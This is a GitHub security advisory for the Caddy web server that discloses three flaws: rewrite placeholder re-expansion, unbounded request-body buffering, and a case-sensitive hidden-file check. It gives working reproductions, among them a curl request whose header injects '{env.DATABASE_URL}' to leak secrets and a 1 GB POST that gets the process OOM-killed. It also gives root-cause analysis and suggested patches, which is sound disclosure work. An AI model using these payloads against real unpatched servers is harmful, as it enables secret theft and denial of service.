GitHub Advisoryadvisory · Go
GHSA-j8px-rmrx-76h9 Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-77281
- Ecosystem
- Go
- Packages
- github.com/caddyserver/caddy/v2
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
- Weaknesses
- CWE-178, CWE-770, CWE-94
- Reviewed
- 2026-09-18
Affected packages
• Go github.com/caddyserver/caddy/v2: < 2.11.4 → fixed in 2.11.4
Description
Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: `caddy:2.11.3` (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.
---
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)
Severity: Low (requires operator config with trailing `?` in rewrite URI)
Root cause
When the operator's `rewrite` URI template:
1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND
2. Ends with a literal `?` (with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a second Replacer pass and resolves any placeholders the attacker injected.
```go
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
```
This is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).
Reproduction (real Caddy 2.11.3)
`Caddyfile`:
```
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
```
`docker-compose.yml`:
```yaml
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
```
Exploit:
```
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
```
URL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
• `{env.X}` — any env var on the Caddy process
• `{file./path}` — any file readable by the Caddy process (if `file` provider is registered)
• `{vars.X}` — Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:
```go
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
```
Also recommend adding equivalent regression tests in `rewrite_test.go` to the three "is not re-expanded" tests in `vars_test.go`.
---
Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS
File: `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)
Root cause
When any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with no `LimitReader` wrapping. The `needsEarly` flag bypasses the `request_body` middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
`Caddyfile`:
```
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
```
`docker-compose.yml`:
```yaml
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
```
Exploit (Windows PowerShell):
```
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
```
Container state immediately after:
```
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
```
`OOMKilled=true` is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after `"serving initial configuration"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
```
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
```
Real-world exploitability
The `log_append body {http.request.body}` pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains('admin')`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a `LimitReader` keyed off either:
1. The operator's configured `request_body.max_size` (if set), or
2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
---
Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes "hidden" files via case variation
File: `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
`fileHidden()` uses `filepath.Match`, …
Related
Alias · CVE (1)
- CVE-2026-77281 Caddy is an extensible server platform that uses TLS by default. vulnerability
References
- https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-77281 advisory
- https://github.com/caddyserver/caddy/pull/7761 web
- https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb web
- https://github.com/caddyserver/caddy package
- https://github.com/caddyserver/caddy/releases/tag/v2.11.4 web